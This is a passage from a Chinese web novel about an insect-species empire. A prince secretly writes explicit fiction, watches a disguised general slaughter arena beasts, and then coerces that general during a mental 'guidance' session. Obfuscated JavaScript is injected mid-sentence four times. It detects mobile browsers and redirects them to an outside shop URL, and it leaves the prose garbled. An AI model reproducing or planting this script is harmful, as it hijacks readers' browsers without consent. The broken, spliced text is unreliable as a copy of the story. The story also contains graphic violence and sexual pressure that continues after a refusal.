[耶漏:胶囊老师,您这次的小说写的真是太好了,简直可以说是精妙绝伦,如果出版的话销量一定可以破纪录] 耶漏先是恭维了一番莫利的新书,然后就开始和莫利商讨出版事宜。自从开始写小说之后,莫利的小说就一直是在橘子出版社出版的。 三年半前,橘子出版社还是一家濒临破产的小出版社,靠出版一些严肃文学艰难维生。 后来,出版社主编耶漏抱着死马当活马医的心态,通过小说网站联系上了当红作家白色胶囊,希望能出版对方写的小说,本来也没抱多大希望,结果没想到白色胶囊竟然一口答应了,一点也没嫌弃他们家只是个半死不活的小出版社。 其实耶漏心里也清楚主要还是因为白色胶囊的小说内容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338460|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涉及到亲王殿下,且尺度露骨,没有大出版社敢出版,所以这好事才落到了橘子出版社头上。 靠着出版白色胶囊的小说,橘子出版社赚的盆满钵满,迅速起死回生发展壮大,如今已经跻身首都星三大出版社之一,去年还盖了新的办公楼。 和主编沟通好这次的出版册数和版税后,莫利便把自己无删减版的原稿发了过去。这次的故事如果出版的话预计要出版三册,目前莫利写好的稿子字数只够出版一册。 过了一会儿,莫利又收到了主编发来的信息。 [耶漏:胶囊老师,这次题材略微有些争议性,如果尺度太大的话,可能会得罪亲王殿下,您看我们这次能不能出版删减版的] 莫利很果断地回复:[不能] 这就让耶漏犯了愁,他既不想得罪莫利亲王,又不想得罪自家的摇钱树白色胶囊,于是主动提出一起吃个饭协商这件事。 莫利起初是拒绝的,但拗不过耶漏一再坚持,想想也和橘子出版社合作这么久了,见一面也好。于是便勉为其难答应了。 当晚,耶漏在首都星最豪华的酒店定了一桌酒菜,默默地等待白色胶囊的到来,他在心里想好了许多劝说白色胶囊的说辞。 出版涉及亲王殿下的同虫文已经够出格了,题材又是边缘恋情,如果无删减版的内容被亲王看到,到时候大家都吃不了兜着走。 他一定要义正辞严地拒绝胶囊老师! 到了约定的时间,就在耶漏坐立不安的时候,只见一位戴着墨镜的雄虫施施然坐在了他的对面。 虽然墨镜遮盖住了眼睛,但还是能看出这是个无比美丽的雄虫。 没想到白色胶囊竟然是位雄虫,他还以为是个仰慕莫利殿下的雌虫。 耶漏愣了一瞬,随即热络地为雄虫倒上了一杯红酒:“您就是胶囊老师吧,早就想见您一面了。” 雄虫微微一笑,摘下了鼻梁上的墨镜,墨镜后是一双美到令虫窒息的剔透绿眸:“我是白色胶囊,你就是橘子出版社的主编?” 象征着皇室纯正血脉的金发,还有无与伦比的美貌和稀有绿眸,都让雄虫的身份昭然若揭。 那一刻,耶漏的心跳真的漏掉了一拍。 白色胶囊的真实身份竟然就是大名鼎鼎的莫利亲王殿下! “听说你对出版无删减版有意见?”莫利问道。 耶漏激动到险些坐不稳:“没有,一点意见都没有!都是误会,出版的事就包在我身上!” 竟然能出版亲王殿下写的书,没想到天底下还有这样的好事。耶漏暗搓搓地摩拳擦掌,这次他一定要亲自为亲王殿下的书排版和校对。 莫利对耶漏的识时务很满意,十指交叉撑着下巴,语气愈发温和:“大主编,这件事就只有你知道,你要好好保密。” 突然和亲王殿下有了小秘密的耶漏脸红到了耳根:“我、我绝对不会说出去,殿下放心。” 8. 第 8 章 两天后。 首都星最大的角斗场,皇冠角斗场迎来了近期最受瞩目的一场角斗赛,主角是臭名昭著的连环杀虫案嫌疑犯伊莱尔,角斗场为了这场角斗赛已经预热了整整两天。 据说这次比赛将放出两只基因变异的异兽,场况的激烈程度已经可以提前预见,罪虫伊莱尔就算不死也要脱层皮。 昨天门票开售时便引发了全民疯抢,所有门票在不到一个小时的时间内就被抢购一空。 皇冠角斗场作为全首都星规模最大的角斗场,修建的十分阔气,场内能容纳上万观众之多,观众们的座次绕成旋转上升的环形,而角斗赛的舞台则位于正中央。 场内的光线是昏暗的橙色调,半空中悬浮的四面巨型光屏三百六十度地展示着舞台上的场景。 莫利坐在vip包厢里,悠然地倚靠着柔软的沙发,面前是一扇巨大的落地窗。这个位置能够居高临下地将舞台上所有的场景一览无余。 角斗赛还没开场,解说员正在活跃现场氛围。 就在这时,一位长相精致帅气的的雄虫搂着一个亚雌推开了包厢的门,径直走到莫利身边,毫不客气地坐在了旁边的沙发上。 “没抢到vip看台票,来蹭你个包厢。”雄虫笑嘻嘻地说。 莫利未置可否。 这雄虫是他的狐朋狗友之一,红遍全宇宙的演艺圈明星麦麦汀。 麦麦汀是个风流的雄虫,成名后娶了自己的经纪公司老板做雌君,婚后流连花丛处处留情,家里的雌侍加起来能凑好几桌麻将。这次来看角斗赛又带了个陌生的亚雌,大概是新收的雌侍。 亚雌普遍身材柔弱长相甜美,缺乏战斗力,精神力低下,无法像雌虫那样上战场战斗,只能做一些文职类的工作,是为了迎合雄虫的喜好而创造出来的产物。 雌虫普遍身材高大且凶猛嗜血,很多雄虫通常会对充满压迫感的雌虫感到厌恶,于是便于雄虫控制的亚雌便被慢慢繁衍出来。 莫利上下打量着麦麦汀怀里的亚雌,这位亚雌身材极为纤细,比普通的亚雌看起来还要瘦弱一些。 亚雌也在偷瞧莫利,恰好对上莫利打量的目光,很快就红着脸低下了头。 莫利收回目光,心不在焉地调侃道:“麦麦汀,这是你新收的雌侍?听说你的雌君怀孕了,不在家陪陪雌君?” 麦麦汀耸了耸肩:“我那雌君生育过一次之后手感就不如从前了,现在又怀了二胎虫蛋,我和他已经没那么和谐了,这世界上美味的雌虫和亚雌那么多,换做你,你会一直守在无趣的雌君身边吗。” 莫利挑了挑眉,没说什么。 换做是他,肯定不会在雌君怀孕时冷落自己的雌君,毕竟怀孕的雌虫很需要雄虫的安抚来滋养虫蛋,就算要和雌侍恩爱,也得等雌君产崽后。 不过也很少有雄虫像他这样负责了。这样一想,莫利自己都要被自己感动了,他简直是全宇宙最好的雄虫。 麦麦汀抚摸着怀中亚雌的头,继续说道:“这小宝贝是个亚雌,身子特别软,比我那干巴巴的雌君手感好多了,亲王殿下想不想也试试?” 话音刚落,莫利还没说什么,柔弱的亚雌倒是更羞涩了。 麦麦汀捏了捏亚雌的脸蛋:“宝贝这么害羞,是不是看上亲王殿下了?” 亚雌慌张道:“不、不是的,我心里只有雄主。” 麦麦汀脸上露出了暧昧的笑容:“怕什么,我和亲王殿下可是什么都能共享的,乖,你陪亲王殿下睡一觉,就当是和我睡了。” 说完意味深长地看向莫利:“你的新书我看了,剧情是喜欢上朋友的雌君,怎么,你看上我的雌君了?不过我的雌君怀孕了给不了你,我的雌侍你倒是可以随时拎走。” 莫利再次打量麦麦汀怀中的娇羞亚雌,有些索然无味道:“很遗憾,我不喜欢这种类型。” 亚雌尴尬失落地低下了头。 “哦?那你喜欢什么样的?”麦麦汀好奇地问道。 莫利没有回答,但是麦麦汀很快就知道了答案。 凌晨十二点的钟声敲响,解说员宣布角斗赛正式开始。场内猛然响起一阵激昂的音乐,全场灯光骤然熄灭。 “有请我们今天的角斗士,罪虫伊莱尔!”解说员拔高了音量,瞬间引爆了全场的欢呼声。 灯光再次亮起时,舞台中央出现了一只身材挺拔的青年雌虫,十几束耀眼的光束旋转着聚焦在他的身上,将他周身照得光暗分明。 罪虫带着银色的面具,面具覆盖了他的上半张脸,增添了许多神秘感,但上半身却赤着,露出流畅的肌肉线条。 在雌虫登场后,莫利的眼神瞬间亮了,而且视线再没离开过那雌虫,眼神中的谷欠望毫不掩饰。 麦麦汀恍然大悟,饶有兴致地搓了搓下巴。原来莫利喜欢这种类型的,确实身材够辣,不过他记得这罪虫好像是罗丝公爵的雌君。 原来亲王殿下是想撬自己哥哥的墙角。 罗丝公爵如果知道了的话估计要气死了。罗丝这虫最小气了。 角斗正式开始了,解说员拖长了音调,用亢奋的声音宣布道:“让我们用掌声热烈欢迎今天的重量级嘉宾——血腥玛丽!” 话音刚落,整个角斗场响起了嘹亮的欢呼声和口哨声。 只见舞台上升起了一个巨型的金属笼子,笼门缓缓打开,一只基因变异的A级异兽被从笼中释放了出来。 这异兽外表酷似猎豹,却比普通猎豹大了一圈,白色的皮毛上布满了红色的斑点,像飞溅的鲜血一般。 这便是伪装成罪虫伊莱尔的欧文今天要对战的异兽,大名鼎鼎的血腥玛丽。 至今为止所有和它对战过的角斗士无一例外全被它重伤或咬死,而且玛丽有个特殊的爱好,喜欢咬下角斗士的半边肩膀作为自己的战利品,曾经有位角斗士在和玛丽对战时因为被咬下肩膀而疼晕了过去,于是玛丽便趁机将他整个吃掉了。 简直堪称是角斗士们的噩梦。 欧文和玛丽面对面对峙着,玛丽冲着他张开了血盆大口,露出明晃晃的尖锐獠牙,锋利的爪子在地上摩擦,仿佛下一刻就会扑到欧文身上将对方撕碎。 欧文冷眼看着血腥玛丽在自己面前炫耀着獠牙,掩盖在银色面具后的眉甚至都没皱一下,一双黑眸冷漠得如同化不开的寒冰。 他以为角斗场会放出S级异兽,没想到是个A级。他现在的身份是罪虫伊莱尔,需要掩盖自己的实力,和A级异兽周旋10分钟应该足够了。 欧文在心里默默计起了时。 早就等不及的观众们催促了起来:“上啊玛丽!吃了这个罪虫!” “玛丽快咬掉他的脑袋!” “加油玛丽,这只罪虫不是你的对手!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338461|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛丽一跃而起,嘶吼着朝欧文发起了攻击,动作敏捷无比,却被欧文游刃有余地躲开。 解说员实时解说着场况:“我们的玛丽女王发起了迅猛的攻击,罪虫伊莱尔完全没有还手之力,只能狼狈躲闪。” 就这样异兽和罪虫反复周旋。玛丽攻击,欧文不迎击也不还击,只是在玛丽恰好要伤到自己的时候轻飘飘地闪避开,像在戏耍玛丽一样。 观众们看得焦急,观众席上响起了此起彼伏的怒骂声。 “太无耻了,难道只知道躲吗,真是丢雌虫的脸!” “狡猾的罪虫,想要躲到什么时候!” “有种别躲啊,玛丽快给这怂货一点颜色瞧瞧!” 欧文丝毫没有受到满场骂声的影响,他在心里默默数着数,当数到六百的时候,他停了下来。 乌沉沉的眼睛闭上又睁开,眼神瞬间变了,原本冷淡的眼神变得阴森嗜血,瞳孔也变成了危险的竖瞳。 刚刚还雄赳赳气昂昂的血腥玛丽像是察觉到了危险,后退一步摆出了防守的姿态。 欧文活动了一下手指,一步步朝着玛丽逼近。 玛丽警惕地低声嘶吼,露出獠牙向欧文示威,看起来凶猛无比。可仔细观察就会发现,血腥玛丽竟然在微微颤抖。 解说员察觉到气氛不对:“玛丽女王突然停止了攻击,这是怎么回事?我们的玛丽女王一直是角斗场上的英勇战士,加油呀玛丽。” 观众们也意识到情况有些不对劲,纷纷噤了声。 接着,就在所有观众都没反应过来的时候,刚刚还站在玛丽正前方的欧文突然出现在了玛丽的身后,骨节分明的手中赫然握着一颗长而尖锐的獠牙,温热的鲜血顺着牙尖一滴一滴滴落在地板上。 血腥玛丽最引以为傲的獠牙竟然被雌虫拔了下来。玛丽嘴中喷涌出猩红的鲜血,将下巴上的皮毛全部染红。 没有人看清欧文刚刚是怎么出现在玛丽身后的,又是怎么把对方獠牙拔下来的,仿佛只是一道黑影闪过,异兽便和罪虫主客颠倒。 失去了心爱獠牙的玛丽仰起头发出了痛苦而愤恨的吼叫声,转过身朝欧文扑了过来,然而还没等接触到欧文的身体,便被欧文手中握着的獠牙贯穿了咽喉。 血腥玛丽的吼叫声戛然而止。 欧文面无表情地将獠牙拔了出来丢在地上,鲜血瞬间喷溅在他冷锐的脸上。 血腥玛丽脖子上破了一个血洞,双眼怒睁着滚落在地板上,抽搐了几下后便没了声息。 全场死寂。 这一切显然出乎所有虫的预料,解说员震惊了许久之后才磕磕巴巴地拼命圆场,努力掩饰着玛丽战败的尴尬:“血腥玛丽今天……呃、状态不太好,只展示出了以往十分之一的实力,这位角斗士非常幸运,遇到了状态不好的玛丽。” 原来是玛丽状态不好。观众们这才恍然大悟,愤怒的骂声几乎淹没了整个会场。 “一定是玛丽生病了!不然怎么会被区区罪虫打败。” “该死的罪虫趁虚而入,竟然趁着玛丽生病把玛丽杀了,真是不讲武德!” “对啊,我看玛丽刚刚状态很不好,这是一场不公平的战斗!” “退票!” “赶紧把S级异兽放出来,不然退票!” “对啊,快把S级异兽放出来教训教训这不知天高地厚的雌虫!” 9. 第 9 章 皇冠角斗场的明星异兽血腥玛丽竟然死在了一只罪虫手下,而且疑似是罪虫趁玛丽状态不佳时偷袭取胜。 简直是胜之不武。全场观众的怒火都被点燃了。 为了挽回面子,角斗场决定派出杀手锏——战无不胜的S级异兽开膛手杰克! 杰克是皇冠角斗场的镇场之宝,轻易不会出场,每次出场都会掀起腥风血雨。 杰克喜欢吃虫的内脏,尤其酷爱青年雌虫的内脏,和它对战过的角斗士无一例外全被它开膛破腹,最后都成为了它的盘中餐。 在观众们的千呼万唤中,只见舞台中央再次升起一个金属铁笼,比刚刚玛丽的笼子还要大了一圈,笼门缓缓打开,一只巨型异兽从笼子里走了出来,沉重的脚步声震得地面咚咚作响。 正是S级异兽开膛手杰克! 杰克的皮肤呈现出一种诡异的暗绿色,猩红的眼睛闪烁着幽幽寒光。它的脊背上布满了坚硬的鳞片,哪怕是最锋利的匕首都无法将它的鳞片刺穿。 杰克傲慢地围着欧文转了一圈,像是在审视自己的美味猎物。 解说员亢奋的声音在角斗场上响起:“杰克已经一天没有进食了,可怜的罪虫,恐怕今天要沦为杰克的宵夜了。” 观众们也兴奋了起来。杰克一登场,意味着角斗士必死无疑。 “杰克上啊,咬掉他的脑袋!” “自作聪明的罪虫,刚刚败给血腥玛丽说不定还有一条活路,对上开膛手杰克就只有死路一条了。” “哈哈哈,我已经可以提前预感到罪虫屁滚尿流的场景了。” 杰克发出低沉的咆哮,背部的鳞片一片片浮在半空中,宛如锋利的匕首朝着欧文射去。 这是杰克的秘密武器,他的鳞片上淬满了毒液,一旦被鳞片划破皮肤,便会浑身麻痹无法动弹,继而成为杰克的盘中餐。 眼见着密密麻麻的鳞片朝着欧文射了过去,好多观众都起身欢呼呐喊了起来,仿佛下一秒欧文就会被密密麻麻的鳞片射成筛子。 然而结果再次出乎所有虫的预料,手无寸铁的欧文只是敏捷地后退一步,然后微微一侧身,便轻松躲过了杰克的鳞片雨。 “天呐,”解说员发出了震惊的惊呼,“罪虫伊莱尔竟然躲开了杰克的鳞片攻击!到底是侥幸还是我们真的低估了他的实力?” 观众席也爆发了一阵骚动。 “肯定是侥幸!杰克不会再给他第二次机会了!” “杰克再瞄准一些,不要放过狡猾的雌虫!” “吃了他!吃了他!” 杰克仿佛受到鼓舞,再次发动攻击,但欧文似乎对杰克的攻击了如指掌,总能在鳞片马上近身的时候迅速躲开。 每一次都看起来像是侥幸躲开,但偏偏又每一次都能躲开。 随着战斗的僵持,迟迟未能得手的杰克变得狂躁起来,攻击变得越来越疯狂。 欧文侧身从容地躲过杰克的攻击,心中默默计着数。 997,998,999…… 当数到1000时,欧文的瞳孔再次变成了危险的竖瞳,纵身一跃,在所有观众都没反应过来时,化作一道黑影飘落在杰克的身后。 接下来,所有观众都看到了毕生难忘的震撼一幕。 欧文的一只手的轻松地穿透了杰克坚硬的鳞片,贯穿进了杰克的后背。他的手在杰克的身体里翻搅着,动作优雅得像是在演奏钢琴曲。 杰克仰头发出了痛苦的哀嚎,眼中充满了绝望。 欧文在杰克的血肉中摸索了片刻后,像摘葡萄一样将杰克的心脏活生生摘了出来。 被掏出的心脏在欧文的手心里有力地跳动着,鲜血顺着他的手心缓缓流到了手肘,然后无声滴落在地板上。 无死角的摄像头捕捉到欧文此时的模样并投射在四块大屏幕上。 黑发黑眸的青年雌虫面无表情地将手中的心脏举到眼前,垂眸似乎在观察,仿佛手中握着的不是心脏而是一块普通的石头。浑身透出一种令虫不寒而栗的冷血。 刚刚还喧哗的观众席突然集体失了声。 杰克还在垂死挣扎,踉踉跄跄地转过身想要夺回自己的心脏。然而欧文却缓缓地收拢手指,当着杰克和全场观众的面,将那颗跳动的心脏捏爆了。 鲜血喷溅。 杰克庞大的身躯轰然倒地。 角斗场爆发出此起彼伏的尖叫声。 “天呐!他做了什么,他竟然杀了杰克!” “啊啊啊这雌虫也太狠了吧,竟然把杰克的心脏捏碎了。” “杰克可是S级异兽,他竟然打败了S级异兽!” “我看到了什么,竟然有虫能战胜杰克!” “怪不得罗丝公爵愿意娶他做雌君,原来还是有真本事的。” 解说员在震惊过后,反应迅速地宣布今天的战果:“在经历了势均力敌的鏖战后,我们的角斗士伊莱尔不但战胜了血腥玛丽,还打败了开膛手杰克,让我们恭喜他!” . vip包厢内。 莫利从沙发上站了起来,走到落地窗前直勾勾地盯着舞台中央的罪虫,心脏剧烈跳动着。 多么锋芒毕露的雌虫,如果这样野性的雌虫能够臣服在自己脚下,该是多么美妙。只要幻想一下那样的场景,便感觉浑身的血液都涌向了不可描述的地方。 “这伊莱尔真是不简单,怪不得让你和你哥兄弟两个都倾心,”麦麦汀调侃道,“这可是你哥哥的雌虫,莫利殿下。” “那又如何,”莫利侧过头挑眉看向麦麦汀,用毋庸置疑的语气说,“弟弟继承哥哥的东西不是理所当然吗。” 说完,慢条斯理地披上外套,转身离开了包厢。 . 这次角斗赛虽然让皇冠角斗场损失了两只明星异兽,但由于比赛热度很高,再加上过程戏剧性很足,门票和赛后打赏依然让角斗场赚了个盆满钵满。 角斗场老板尝到了甜头,甚至动了把欧文挖角到自家角斗场的心思,于是在欧文下台后悄悄把欧文拦住了。 角斗场老板轻咳一声,端着架子抛出了橄榄枝:“像你这样的虫也没别的好去处了,有没有考虑过出狱后加盟我们角斗场,我们家可是有亲王和公爵殿下撑腰的,待遇也是别的角斗场比不了。” 欧文想都没想就拒绝了:“没兴趣。” 角斗场老板没想到对方会这么干脆地拒绝自己,恼羞成怒道:“呵,不来就不来,拽什么拽,你以为你……” 角斗场老板话说了一半,突然触到了欧文冰冷的眼神,那眼神危险至极,让他想起对方刚刚杀死两只异兽时狠辣的模样,于是后背一凉,立马噤了声。 太奇怪了,明明对方只是个平民出身的罪虫,为何身上会有种不怒自威的气场。角斗场老板下意识地屏住呼吸,大气都不敢喘。 欧文面无表情地和角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338462|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗场老板擦肩而过,径直走进了后台的浴室。 虫族天生嗜血,尤其是在精神领域紊乱的情况下更是渴望鲜血的刺激,他本可以干干净净地结束比赛,却控制不住地弄得满身都是异兽腥臭的血。 欧文在简陋的浴室冲了个澡,把身上的血迹全都冲洗干净,然后又重新换上了长袖长裤的囚服。 从浴室出来,欧文便被狱警们押送回了第三监狱。不过他没被直接送回自己的囚室,而是被送到了监狱的医务室。 医务室内,莫利穿着白大褂早已等候多时,见欧文推门进来,立马迎上去,脸上露出关切的神情来:“嫂子,今天辛苦你了,没受什么伤吧,快来让我检查一下。” 在角斗场面对S级异兽都面不改色的欧文此时表情却有些不自然,只因他想起莫利上次对他展露的心思。 欧文垂眸道:“我没有受伤,殿下不必为我耗费精力检查了。” 莫利却无视了欧文的拒绝,自顾自地戴上具有透视功能的金丝边眼镜,然后按着欧文在椅子上坐下。 他启动了眼镜的透视功能,然后围着欧文转了两圈,将对方的每一寸皮肤都细细检查过后,这才确认欧文确实没有受皮外伤。 原本莫利打算以疗伤为借口占点便宜,却没想到他这嫂子着实是个狠虫,和两只高等级异兽对战竟然没有受伤。 欧文想要从椅子上起身,却被莫利按住。 虽然原定的计划落空,但莫利显然不会这么轻易就让欧文离开。 莫利一只手搭在欧文的肩上,缓缓上移,指尖摩挲着雌虫的脸颊:“嫂子和我哥哥分开这么久,很久没做精神力疏导了吧?我为嫂子做一次精神力疏导吧。” 声音温柔而蛊惑。 欧文错愕地抬眸,只见莫利正关切地注视着他,仿佛真的只是在担心他的身体。 欧文不是很久没做过精神力疏导,而是从来没做过精神力疏导。 精神力越是强大的雌虫,越是需要同样精神力强大的雄虫来做精神力疏导,否则精神领域一旦崩塌会比普通雌虫后果更严重。但雄虫本身就稀缺,精神力等级高的雄虫更是寥寥无几。 他的第四军队里只有B级以下的雄虫,给普通军雌做精神力疏导绰绰有余,但是他的精神力超越了S级,B级雄虫的精神力根本无法到达他的精神领域,更别提为他做疏导。 以往每当精神领域濒临崩溃时,欧文都是靠注射安抚剂来强行压制,但这无异于饮鸩止渴,只是在徒劳地延缓崩溃的时间。 欧文知道自己的精神领域已经岌岌可危了,他没想到莫利亲王这样尊贵的S级雄虫竟然愿意给他做精神力疏导。 莫利看出了欧文的动容,却故作失落道:“嫂子不愿意?” “不是。”欧文的耳根悄悄红了。 精神力疏导对所有雌虫来说都是极大的诱惑,尤其是莫利这样的顶级雄虫的精神力疏导,没有雌虫能拒绝。 做过精神力疏导的军雌曾告诉欧文,那感觉只要体验过一次就难以忘记,就像雨过天晴,所有阴霾都消散,只剩下轻松和自由。 但欧文从未体验过军雌口中描述的这种感觉。 他上次刚拒绝了亲王殿下的求爱,没想到亲王殿下却不计前嫌,依然愿意为他做精神力疏导。 欧文冷情的脸上第一次出现冰雪消融的痕迹,“感谢您殿下,以后如果您有用得到我的地方,请随意吩咐我。” 10. 第 10 章 莫利无声地释放出自己的一丝精神力,试探性地顺着欧文的额头侵入到了对方的精神领域。 欧文的精神领域宛如一座庞大的城池,高耸的城门紧闭着,仿佛坚不可摧。 莫利刚想操纵精神力破开城门进入内部,结果那沉重的大门竟然自己敞开了。仿佛对他的到来毫不设防。 莫利没想到这么轻易就能进入到欧文的精神领域内部。 他早就察觉到这雌虫精神力很强大,而越是精神力等级高的雌虫,精神领域越难入侵,但欧文的精神领域却对他的到来毫无防备。 除非是对方内心深处极度渴求他的触碰,精神领域才会这样乖顺地对他敞开大门。 口是心非的雌虫,嘴上总是拒绝他,心里可不是这么想的。莫利咬牙切齿地磨了磨牙齿,心里闪过一丝微妙的兴奋。 他调动更多的精神力涌入了欧文的精神领域内部。 如同潮海般澎湃的精神力进入到精神领域的瞬间,欧文突然感受到内心深处浮现的颤栗,他迅速地闭上眼睛掩盖住自己的失态。 莫利操纵着自己的精神力在欧文的精神领域探索,让他意外的是,欧文的外表虽然看起来强大坚韧,但精神领域内部却早已坍塌成了一片废墟,几乎被无边无际的黑暗淹没。 欧文的精神力丝已经呈现出极为危险的黑色,如同乱麻一般在这塌陷成废墟的城池里蛰伏着,闪着星星点点的幽暗的光。 这雌虫的精神领域怎么会荒芜到这种地步,难道罗丝一直没有给他做过精神力疏导吗?或者是因为罗丝精神力等级只有B级? B级雄虫最多只能治愈A级的雌虫,难道他这嫂子精神力已经超过了A级,所以罗丝没办法给他做精神力疏导? 真是可怜,精神领域崩溃到这种地步,一定很痛苦。 不过幸好遇到了自己。莫利心想。他可是S级的雄虫,而且是S级巅峰,他的精神力疏导的治愈力远不是普通雄虫能比的。 如果说普通雄虫的精神力疏导只是将破损的精神领域缝缝补补,那么像他这样的顶级雄虫则可以让精神领域焕发新生。 通常来说,A级雄虫的精神力疏导也可以治愈S级的雌虫,所以为雌虫们做精神力疏导这种事通常轮不到他亲自出马。 至今为止,也就虫皇几个月前找过他一次,拜托他给第四军队的欧文上将做精神力疏导。只不过欧文上将因为要开拓新星系,常年不在首都星,所以给他做精神力疏导的事情便就这么搁置了。 莫利抚摸着雌虫的黑发,心里默默地想着:你可真幸运,竟然遇上我这种顶级雄虫给做精神力疏导,都和上将一个待遇了。 莫利将自己的精神力化作一丝丝细密柔软的丝线,缓缓地融入到欧文凌乱的黑色精神力团中,如同润物细无声一般,温柔地抚慰着对方。 像是温暖的日光在唤醒枯萎的野草。 原本蛰伏的黑色精神力丝开始自发地追逐这股温暖。两股精神力亲密地相贴,紧密地相融,原本庞杂如乱麻的精神力缓缓舒展开,附着在表面的黑色沉淀也渐渐褪去,露出原本的幽蓝色泽。 精神领域的乌云散去,温暖的光亮撕破黑暗,寸草不生的城池长出了遍地的花草和参天的树木,塌陷的断壁残垣以肉眼可见的速度恢复成巍峨的堡垒。 欧文只觉得长久以来束缚着自己的阴霾全都散去了,一股暖流在身体里流淌,他体验到了从未体验过的满足感,还有些说不清道不明的快.感。和战斗以及酒精带来的快.感都不同,这是一种从内心深处升起的愉悦感。 精神力疏导的感觉似乎比军队里的军雌口中描述的还要舒服。 欧文的精神领域已经被治愈了,但莫利却没有停下,他默不作声地观察着欧文的反应,惊奇地发现对方的额头竟然浸出了一层汗珠,高冷的面孔上也浮现出了可疑的红晕。 莫利是医学系毕业的,他自然知道这并不是精神力疏导的正常反应,正常的精神力疏导对雌虫来说就像解乏,除了积压的疲惫感消失之外,不会有多余的感觉。 但也有特殊情况,如果雌虫和雄虫匹配度过高的话,精神力疏导时雌虫获得的愉悦感将不亚于生理上的结合。 莫利彻底来了兴致。他操纵着更多的精神力朝着更深的地方探去,状似无意地频繁碰触着对方精神领域的壁垒。 从未有过的陌生感觉铺天盖地地朝欧文袭来,瞬间让他绷紧了脊背,灭顶的愉悦感让他几乎要失去理智。 尤其是睁开眼看到自己面前的美丽雄虫时,身体的本能竟然叫嚣着催促他向对方臣服。 欧文艰难地维持着冷静:“殿下,已经可以了,请您停下。” 莫利无辜地眨了眨眼,疑惑道:“怎么了嫂子?” 说完装模作样地思考了片刻,恍然大悟道:“是我和嫂子匹配度太高,让嫂子不小心爽过头了?抱歉,是我的疏忽,忘记了精神力疏导时匹配度过高会让雌虫产生和雄虫生理结合的错觉。” 莫利嘴上说着抱歉,却并没有停止在欧文精神领域里的探索。 他拿起桌子上的诊疗簿,转了一下笔,询问道:“精神力疏导时,嫂子具体是什么感觉呢,请详细描述一下。” 欧文愣了一下,薄唇紧抿,显然是难以启齿。 莫利微微一笑:“嫂子不是说有什么事都可以随时吩咐你吗?你也是知道的,我是医学系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338463|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕业的,你这种情况十分稀有,很有记录价值,所以请务必配合我。” 说完操纵着精神力继续在欧文精神领域的最深层挑拨:“到底是什么感觉,回答我。” 欧文额头的汗珠顺着发丝滴落,他努力隐忍着身体里一波强过一波的异样,深吸一口气,欲言又止。 莫利问道:“比酒精带来的麻痹感更舒服吗?” “是。” “比烟草带来的陶醉感更舒服吗?” “是。” “哦,”莫利拉长了音调,别有深意地又问,“那和罗丝公爵比起来呢?” 欧文沉默了,他并不是真正的伊莱尔,这种问题他没办法去比较。 然而莫利却催促他回答:“到底和谁在一起更快乐,和我还是和我哥?” 欧文错开眼神,像是自暴自弃一般,回答了一个对方想听的答案:“和你。” 欧文一直循规蹈矩,无论做什么事都从来没有出过任何差错,哪怕军装的制服都会一丝不苟地扣到最后一颗。 但此时此刻,他却觉得自己像是要疯了。 莫利像模像样地在诊疗簿上记录了一阵,又问道:“嫂子是什么时候开始出现这种感觉的?可以告诉我吗?方便我下次控制精神力疏导的时间。” “你的精神力进入我的精神领域的时候。”欧文说。 莫利又操纵了一下精神力丝:“那现在呢?比刚开始时感觉更强烈吗?” “是,”欧文掩在黑发后的耳廓红到快要滴血,冷漠的面庞上隐忍着难堪的神情,“殿下不要再问了。” 莫利心满意足地将自己的精神力从欧文的精神领域内抽离。 他一只手抬起欧文的下巴,强迫对方直视自己的眼睛:“我哥以前总跟我说你是个正经虫,让我不要打趣你,但你看看你现在哪有个正经的样子,难道嫂子平时都是假正经?” 莫利叹了口气,将手中的诊疗簿在欧文面前抖了抖:“我好心好意给嫂子做精神力疏导,没想到嫂子却对我怀了这么肮脏下流的心思。” 欧文想要开口解释,但最终还是羞愧地闭上了眼睛:“抱歉,殿下。” 